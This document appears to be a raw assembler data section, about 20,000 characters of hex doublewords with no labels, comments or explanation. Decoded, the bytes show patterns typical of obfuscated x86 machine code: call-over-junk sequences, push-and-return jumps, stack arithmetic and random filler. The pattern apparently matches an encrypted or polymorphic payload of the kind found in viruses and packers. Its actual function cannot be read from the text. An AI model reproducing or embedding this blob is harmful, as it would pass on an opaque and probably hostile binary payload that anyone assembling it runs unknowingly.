		dd 2E4D8D89h, 958D0648h, 6481DCDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 7FC35242h, 6A1A89h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C56701C3h, 8907866Bh, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8DDD7CC3h, 481E2595h
		dd 0B5896006h, 648188Dh, 0C38B6652h, 1A896159h,	23E9B533h
		dd 42890648h, 0E1B58B04h, 8D06480Fh, 4820D195h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 80A3A2F9h, 5060D5DDh, 254D8D8Bh, 805F0648h, 896194E4h
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 5D959ADEh, 5F817D29h, 44289D9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 42C35242h, 1D418529h
		dd 0B52B0648h, 6480D89h, 2331958Dh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 973BF2C3h
		dd 1A89FB8Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	67C35343h, 2F6977DBh, 973316C3h, 0A58D89E5h, 8906482Dh
		dd 6A0442h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0E100B5C3h, 81664FA1h, 660C40E9h,	8D9622BFh
		dd 481B6595h, 1A89FC06h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 9BC35545h, 0EE3E6466h, 243D8D09h, 42890648h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0E9E227h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 4585C357h
		dd 0ED85891Fh, 66064820h, 6AF98Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0C7C35040h,	9FB1280h, 4800718Dh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 1652C355h, 8B310E8Ch, 79BE70AEh
		dd 6A381E84h, 7D9D0900h, 0E9064829h, 9,	0A97B741Ah, 0BE563FACh
		dd 6A006A3Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 9A23C352h, 37A17998h, 8166B276h
		dd 0FF9C0FE6h, 4819BD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F2BF0FCBh
		dd 51006AC3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0C4ABBCB7h, 8ADC6B4Bh, 52006AC5h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0E369634Bh, 0EFFE41F5h, 6E914h, 0F28E0000h, 66414DD3h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0CE8B11C3h, 835F57BCh, 4820E9BDh,	9750006h
		dd 2C61BD83h, 74000648h, 8B535019h, 438B8C0h, 85890000h
		dd 6480021h, 0B0939D8Dh, 0D3FF064Ah, 0BD83585Bh, 6482C61h
		dd 50177400h, 438B853h,	85890000h, 6480021h, 0AD349D8Dh
		dd 0D3FF064Ah, 0BD23585Bh, 6482D59h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0B9C35747h,	9D891051h, 6482191h
		dd 858DC08Bh, 64832FDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0F1C35040h, 4FCCB41Dh, 29D9B70Fh, 4824658Dh
		dd 0BBF9006h, 5077D9A3h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F8DD63Fh, 0BF0FD8B7h
		dd 8B006ADEh, 6A006ADAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 8ED3C350h
		dd 0C8F72D1Ch, 3850858Dh, 6A064Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 118CEFC3h, 6800Fh, 0BD890000h
		dd 64809A1h, 6A05C083h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0E151C351h,	6665D00h
		dd 1DB58966h, 50064815h, 7E860h, 0CA430000h, 3FCA0D95h
		dd 5FC68B24h, 24048961h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0FDC35343h, 0D5E780CBh, 9D8B006Ah, 6480B45h
		dd 0BE9h, 78477900h, 0EA02B811h, 9CB89B42h, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 11FF97C3h, 864EE295h, 801881CCh, 95FFE0F3h, 648277Dh
		dd 1EED8589h, 8E90648h,	99000000h, 857C217Eh, 8D71F949h
		dd 4B9C148Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 81665E4Bh, 0FFCCFBD3h, 53006AD1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 809BEA95h, 43F6AA6h,	0FBBF0F50h, 799D015Fh, 8B064804h
		dd 482F559Dh, 49BD8306h, 1064819h, 89850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D92B85C3h, 2C598589h, 26A0648h, 5090FA8Bh, 0F01B352h
		dd 8C0F5631h, 0
		dd 50585A5Bh, 13E9h, 88ACC400h,	169C6882h, 2E844966h, 0D4059A4h
		dd 13607AC7h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 49997470h, 0F7CB8166h, 0E195FF56h
		dd 0F064823h, 680h, 3FD78100h, 0E9288E6Ch, 0D8Ch, 0E8h
		dd 0ED815D00h, 64C385Ah, 6A1FB3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 6C5A77C3h, 858D1A5Fh
		dd 64B9744h, 2D8D8501h,	51500648h, 2404895Fh, 11E8h, 0B27C7800h
		dd 0ED04E821h, 393E89D9h, 58EDDDC6h, 0BD8B560Bh, 6480E51h
		dd 0EE95Bh, 7D2B0000h, 0FFCACD9Bh, 0E6BDBDEAh, 0C4BC82D4h
		dd 35FF64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8BB3C356h, 80C082F0h
		dd 0BD8BA3E3h, 6481809h, 258964h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0FF9EC352h, 480A2D85h, 0CE806h, 0B9C10000h, 4476B120h
		dd 3E243EFAh, 8B0FADAEh, 3, 5BA7C780h, 0FFBBFF6Ah, 0FF65AB8Fh
		dd 481855B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 7036FD0Ah, 0B35BD8Bh, 95FF0648h
		dd 6480AA5h, 109E9h, 9D896000h,	6482535h, 0CCF08060h, 90EABF66h
		dd 0B06161h, 4CD8529h, 70E60648h, 3CF971E4h, 0E3830F61h
		dd 0F000000h, 86h, 0C8B60F00h, 7642B6BBh, 6EF8052h, 6BAh
		dd 11BD8B00h, 8B064806h, 0BD8B50C1h, 648214Dh, 4E8C15Fh
		dd 60E2F766h, 9159589h,	0BF660648h, 2B61D3DDh, 2D8589C8h
		dd 8B064819h, 80BB66D1h, 1DE96Ch, 11E80000h, 0B8000000h
		dd 783C3737h, 9F935CACh, 988BFBD0h, 0CCA68A0h, 1FC18589h
		dd 8B5B0648h, 482AA985h, 0DD958906h, 83064805h,	8D8907C0h
		dd 6481561h, 8100C083h,	5B723DDFh, 0FD03B5Bh, 2A83h, 890F6000h
		dd 4, 701ABA66h, 20B59D09h, 0E9610648h,	3Eh, 0EE9h, 6C2FAC00h
		dd 52B2FFE2h, 0B7208FADh, 8BA1B2FCh, 482E458Dh,	1E18306h
		dd 1C840Fh, 0A5830000h,	6482E45h, 0A58589FEh, 89064821h
		dd 482AA995h, 0C4BB6606h, 0E998h, 0B58D0000h, 64BD0E8h
		dd 79E78166h, 299D8B82h, 6A064832h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0BF414413h
		dd 8D0F3D63h, 2, 95FF5F56h, 6483061h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0EEC35545h,	149E1166h, 850AD131h
		dd 6810Fh, 0D3810000h, 2065E841h, 0BE8h, 7AA0BA00h, 750089B3h
		dd 0B57DB51Fh, 0B95FDE8Ah, 7AFh, 95B5BF66h, 6AFCE183h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0E60BC355h, 1F55A4DAh, 313A9855h,	482E919Dh
		dd 6AFC06h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 79776BC3h, 29959D03h, 0C02B0648h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 10C35242h, 2923B216h
		dd 58CFC68Bh, 15C78166h, 0BAA0h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 54348EC3h
		dd 666584FEh, 0E98B13BBh, 0Dh, 76F38A16h, 0C2231D46h, 0C22737A8h
		dd 81858984h, 0AD06480Ch, 0E8D1C233h, 0E983D003h, 66F47504h
		dd 26EAD381h, 880Dh, 0F98B6600h, 0A19958Bh, 1BBF0648h
		dd 8B49A199h, 480F358Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C28B5038h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 0F58188Bh, 0D84h, 8E900h, 67E40000h
		dd 0B215088Eh, 6AB020h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 41FF47C3h, 34F26920h, 0BD83F478h
		dd 64819A5h, 3F840F00h,	0B8000000h, 0
		dd 648D8DF9h, 0FF06484Bh, 53006AE1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 767DFCF8h
		dd 8B666098h, 68E0FC1h,	0F000000h, 83h,	0BD836100h, 6482425h
		dd 90840F00h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0F6AFC353h,	0FE8083E8h
		dd 8B666B18h, 10E9D9h, 20230000h, 52FBBFBh, 0EE953529h
		dd 0C56554B1h, 0BD83E261h, 6482425h, 63840F01h,	80000004h
		dd 0BD8314DFh, 6482425h, 1D860F03h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 420AC357h, 51C61DFBh, 0CE9605Bh, 19000000h, 0F0A7AE98h
		dd 811B8FAEh, 803E174Dh, 60613CDCh, 66D8B70Fh, 870FD98Ch
		dd 6, 0E31BD8Bh, 0E1800648h, 51006A04h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 738EE0B6h
		dd 0E9E927E4h, 10h, 4A787A6Fh, 7A2FAA6Eh, 47BCF338h, 0F48AF105h
		dd 14E8h, 5FF53900h, 0ACCA082Dh, 73F31D56h, 71F6363Bh
		dd 2531C0EBh, 0B19D8977h, 5F06480Ah, 840FC90Ah,	0E4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C1C35040h, 6262B61Eh
		dd 6A1B2296h, 858BDF8Bh, 6482385h, 68F0Fh, 8D890000h, 64819E1h
		dd 2AC98533h, 0BF500648h, 35CB9385h, 6A240489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E1B1C357h, 10E903E0h, 60000000h, 0DFB0EF5Ah, 88BDD70Ch
		dd 657B308Dh, 6AD66382h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 5868495Fh, 0B7CEEA4Eh
		dd 240481F9h, 3134B5A7h, 1C0195FFh, 6A0648h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 9B2DD8C3h
		dd 85899F5Dh, 64BB92Ch,	8D31D98Bh, 6482F15h, 1D9E9h, 1ED78000h
		dd 0B924858Bh, 0BD01064Bh, 6480F2Dh, 0C7DBB70Fh, 1800h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8B79DBE1h, 4BB928B5h, 91BD8B06h,	8B06481Dh
		dd 482BA19Dh, 0F1858B06h, 6A06482Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 2C03C357h
		dd 2086EAEEh, 9D03E504h, 6481DF1h, 6A0689h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A05237C3h
		dd 0E4A0C4A2h, 0F40D9B2h, 858BFABFh, 6482385h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 75C35040h, 4DCE5FAh
		dd 8A17F361h, 44689F9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0A7C35747h, 4828CF16h, 5FD7DF81h, 85097AB6h
		dd 6482C65h, 0B3525096h, 0E8310F36h, 0Ah, 5BCD9275h, 59C4A1D4h
		dd 5250A3A0h, 585A310Fh, 50585A5Fh, 0FF03B396h,	4BB924B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0A867EEF3h, 767663E2h, 819D8BE3h, 68064828h
		dd 79DEFE2Fh, 95A8ACBBh, 24348111h, 79C1FDD0h, 0D870Fh
		dd 8E90000h, 0E000000h,	47FCDA4Eh, 8D728BC5h, 4BB92C85h
		dd 0F8BF0F06h, 0BB525050h, 37E9423Ch, 0E960310Fh, 11h
		dd 39832FA9h, 0D1648F11h, 4A2B4047h, 7AF8285Fh,	0D68B66DBh
		dd 89585A61h, 0B70F2404h, 7D9529F8h, 0FF06482Bh, 481C0195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 20DBA241h, 0AE34B883h, 6A615C0Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0D96CC353h, 0F5CD0AAh, 0C89h, 68B0F00h, 8B000000h, 480A519Dh
		dd 0CDBA6006h, 31410075h, 481CC9BDh, 85C76106h,	6482425h
		dd 3, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 1Dh
		dd 24C35343h, 89762CABh, 0FC644CEDh, 2D8529A9h,	1064827h
		dd 4827498Dh, 2CBD8306h, 64BB9h, 2E840Fh, 0B70F0000h, 41E9F8h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0FC7718C3h, 0BD8BC9F2h, 6482C5Dh,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 28Ah
		dd 0B7FB8B00h, 25BD833Ch, 3064824h, 429850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 269F39C3h, 7C814869h, 899EBD65h, 4832659Dh, 2CBD8306h
		dd 64BB9h, 3F1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 89F04BC3h, 4818659Dh
		dd 81666006h, 8AA210F7h, 0B5FF61D5h, 64BB92Ch, 0FFDFB70Fh
		dd 480E3595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 23FE2D4Dh, 59D0B50h, 5F06481Ah, 8BDFBF0Fh
		dd 4BB920B5h, 6840F06h,	81000000h, 0C494A6C7h, 106C710h
		dd 0B7000100h, 52505041h, 0A76DBF66h, 585A310Fh, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 43C9C355h, 9E95Bh, 0B7950000h, 454F67DBh
		dd 0FFAF6311h, 4BB92CB5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 3D8496ACh
		dd 7AD5A695h, 55BF6696h, 5995FF79h, 6A06481Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0BBA3C351h, 17CF5C80h, 12E8h, 87C32E00h, 868A5BBBh
		dd 1EA202C0h, 0C2A9F9D1h, 0FF3A3E6h, 87h, 0FE8B5F00h, 0B920B58Bh
		dd 850F064Bh, 1, 49858BFCh, 0BB064810h,	2305B8F8h, 0C48689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 899E8FC3h, 48098D95h, 19958B06h, 0B06480Ah
		dd 481BF19Dh, 4C28306h,	29199D89h, 50890648h, 0D8B70F20h
		dd 0C819C381h, 858D6DA0h, 64BCE09h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 96C35545h, 4C63807Eh, 33F187BBh
		dd 0B8868957h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0BA6CC351h,	64D33BBEh
		dd 0BF0F60D5h, 0DE8B66DBh, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E54DAFC3h
		dd 79E34D15h, 0BE60E3CAh, 32BCC6Dh, 2CB9BD2Bh, 0FF610648h
		dd 4BB92CB5h, 8D896006h, 6480071h, 0FF61CFB0h, 4823E195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 8F0F12Bh, 0D0BF6650h, 24348978h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 2BC35747h, 0E8816095h
		dd 37D7300Ch, 8D1BD89h,	0FF610648h, 4BB92CB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h
		dd 0C3524200h, 0F385CE32h, 6890Fh, 0D7810000h, 11A30641h
		dd 0E2D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 15A525C3h, 0DEBF0F8Dh, 1CA1BD83h
		dd 0F000648h, 2984h, 0D88B6600h, 891EB750h, 9D8B2434h
		dd 6480F45h, 0FE8h, 1BD6D500h, 501FAABEh, 0F1073708h, 0A6531C94h
		dd 17588ABFh, 0B5FF5B5Fh, 64BB92Ch, 0C820Fh, 8F0F0000h
		dd 6, 22D19D8Bh, 95FF0648h, 6482719h, 0B92CB5FFh, 0CF80064Bh
		dd 0DEB70FFBh, 0B4195FFh, 85290648h, 6482059h, 0CCDBD83h
		dd 0F020648h, 4C84h, 0F6B2BB00h, 858B7BAFh, 6480FD5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F2C35545h, 6BD1809Ch
		dd 6EE34C52h, 99D8B61h,	0C6064828h, 0EE90000h, 0ED000000h
		dd 1D2B02Ch, 0CEE3EC94h, 0A72D4CC4h, 6985C7C9h,	6480Eh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0CA75C356h, 9CB126B7h,	79154909h
		dd 14E9h, 55AE5600h, 0E0B65CE1h, 27E4738Eh, 7B549E9h, 782D4F5Fh
		dd 0E98589D7h, 0E9064826h, 0FFFFF378h, 13E9h, 6B89CC00h
		dd 0AF5D6B2Ah, 0DDF248A4h, 7AB50A61h, 0DD303F76h, 860FC18Bh
		dd 0
		dd 32FD858Dh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 24EE5EC3h, 0E795842Eh, 0F0EABB90h
		dd 6650363Ch, 8990DE8Bh, 481D2595h, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0E487C351h, 29CB913Bh, 480C7D9Dh, 1006A06h, 480D6DBDh
		dd 0D8BF0F06h, 4779858Dh, 8A0F064Ch, 4,	5F616053h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0D21CC357h, 8D89CED5h, 6482ABDh, 0B7BF6650h
		dd 24048953h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0C3C35646h, 0A5BBF089h,	664D5AA7h, 6AF98Bh, 152006Ah
		dd 481A8D95h, 95FF5B06h, 648277Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 8BC35141h, 87BBD320h, 0C9BD89E3h
		dd 8D064832h, 4B9C148Dh, 399D8906h, 0FF06482Bh,	0E78151D1h
		dd 4E79C9A3h, 49BD835Fh, 1064819h, 6A850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0F93DC0C3h, 8BEDB0CDh, 481A599Dh, 0E7816606h, 26AA77Ch
		dd 75958960h, 8B06480Ah, 482C2585h, 66506106h, 89F662BBh
		dd 11E92404h, 0A7000000h, 0FBDD1C1Eh, 4FDD0846h, 1ED4123Bh
		dd 25BC19D3h, 23E195FFh, 8D0F0648h, 4, 8ACEBB66h, 0C49E9h
		dd 0E800h, 815D0000h, 4C4783EDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 47EE13EBh
		dd 0D1BD89D7h, 6A064814h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0C972C350h,	28BFC079h
		dd 858D2FD8h, 64B9744h,	2F959D8Bh, 0E8900648h, 10h, 1ADC3315h
		dd 0DCA5D28Ch, 7E4E2AC4h, 4822E508h, 505F5B57h,	6A90FE8Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 3DEC352h,	9A33AB29h, 35FF64h, 0F000000h
		dd 1582h, 9E800h, 0C1E80000h, 0F41A3404h, 897CF98Ah, 4814F9BDh
		dd 89645F06h, 25h, 3C56BF00h, 85FF3791h, 6480A2Dh, 6A2EEF80h
		dd 0FFD98AFFh, 482181B5h, 79BB6606h, 0A595FF0Dh, 0E906480Ah
		dd 0F5h, 9EFCBF66h, 70E600B0h, 0C5D8529h, 71E40648h, 45CF81FCh
		dd 3C503955h, 0D6830F61h, 29000000h, 480A5D85h,	0C8B60F06h
		dd 25199D8Bh, 6BA0648h,	0E8000000h, 9, 0B744E9A8h, 5CFFEC70h
		dd 0F59D8B74h, 5F064823h, 0BD8BC18Bh, 64818C1h,	6604E8C1h
		dd 0B589E2F7h, 6480F85h, 0B589C82Bh, 6482769h, 5E8D18Bh
		dd 6B000000h, 84DEA8B3h, 0C5D8EB81h, 0E95F6D5Fh, 1, 6D858BF5h
		dd 8306480Ah, 820F07C0h, 0
		dd 5300C083h, 5BDAB70Fh, 830FD03Bh, 0Bh, 1899BD89h, 4EE90648h
		dd 8B000000h, 482AC18Dh, 0DD9D8B06h, 83064804h,	840F01E1h
		dd 39h,	55B58953h, 5B064821h, 2AC1A583h, 0E9FE0648h, 11h
		dd 7189829Bh, 0B4829C94h, 5B32B41Bh, 0D54A7963h, 6D9589B6h
		dd 6606480Ah, 9D8BFE8Bh, 64827F1h, 0E9h, 0ADB58D00h, 8B064BDAh
		dd 4815C1BDh, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 88E1C350h, 0FE1BD8Bh
		dd 95BF0648h, 0FF08DD1Dh, 48306195h, 0A99D8906h, 0B906482Eh
		dd 0CABh, 7E9A4B3h, 0
		dd 7C9E6974h, 0E1836C78h, 52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9D8B5334h
		dd 64825A9h, 0DE9FCh, 3D9E0000h, 86ADF3B7h, 0D99D5D61h
		dd 0B8F76359h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F0C35141h
		dd 0B37E9BB8h, 0BD8960CDh, 6480AA9h, 0BA61h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E9E2CDC3h, 8, 9FE8D2E1h, 0FD3E65DFh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0D8C35141h, 89611E72h, 4829618Dh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 0AD6CF055h, 830F0B39h, 5, 7DB8166h, 880DB2h,	810F0000h
		dd 5, 0D9EF5DBFh, 19958B1Dh, 6A06480Ah,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B7EC355h
		dd 480F358Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 773DDE33h, 0FA99770Bh, 0AED8D89h
		dd 8B500648h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 1869BD8Bh, 0BD8B0648h, 64824A5h, 19A5BD83h, 0F000648h
		dd 5184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 2E454A89h, 5C062CDBh, 8E0F444Dh
		dd 4, 56EABF66h, 5569F3BBh, 0B822h, 0BF660000h,	8D8DA0BAh
		dd 6484B64h, 2AC58D89h,	0E1FF0648h, 2A25B509h, 0BD830648h
		dd 6482425h, 0A3840F00h, 8B000003h, 482A6D9Dh, 25BD8306h
		dd 1064824h, 3AB840Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0CE838EC3h, 2425BD83h
		dd 0F030648h, 34A86h, 2860F00h,	8B000000h, 68BF60D9h, 666FFF78h
		dd 8166D98Ch, 805DB5E7h, 6A04E1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 2D8068C3h, 8C49FE93h
		dd 2B118589h, 0C90A0648h, 12A840Fh, 0BD890000h,	6482421h
		dd 2385858Bh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0F4401C3h, 812F3720h, 0C98533FCh
		dd 6A06482Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 365C355h, 89216B7Eh, 481B2D9Dh
		dd 0BF669006h, 0B350493Bh, 0FA8B9060h, 0AD1B589h, 6A0648h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 29C35646h
		dd 3D6C60CDh, 0D863ACCDh, 41BD8BE0h, 6806482Dh,	0E6062291h
		dd 6E240481h, 6A1A18E1h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0E420C350h,	0FF22AB32h
		dd 481C0195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 43A4C8BDh, 2CCA8884h, 8D892C07h
		dd 6480ACDh, 0B92C8589h, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0DBDEA9C3h, 567C077Ch
		dd 17FE95Bh, 0BD8B0000h, 6480D79h, 0B924858Bh, 8166064Bh
		dd 0C7EC7FEFh, 1800h, 2DBD8B00h, 8B06482Ah, 4BB928B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0BB38723Ah, 0F8BF0FCAh, 2BF1858Bh, 95310648h
		dd 6482CB9h, 68E0Fh, 0BD890000h, 6482361h, 6A0689h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 6EAAD7C3h, 0CE8CAh, 65770000h, 4B88BB06h, 3C5F7E8Fh
		dd 0F85098C0h, 0BF0F5F5Fh, 85858BDBh, 66064823h, 4689D88Bh
		dd 0BF0F5004h, 66965FFFh, 50A3A7BBh, 96F88B66h,	0E850Fh
		dd 6E80000h, 0D4000000h, 0C09C3287h, 5F6160B8h,	0B924B5FFh
		dd 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0B6B010C3h, 0B1E4F51Ch, 0BB666CF2h, 4A6845C5h
		dd 0B7AD8059h, 240481FDh, 529EAAB5h, 0F4FBF66h,	0B92C858Dh
		dd 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0B9C023C3h, 903042D1h, 3446BB66h,	90FA8B50h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 37C35040h
		dd 0BF977D0Fh, 0FC872E79h, 5E8h, 46780600h, 4FBF1EBFh
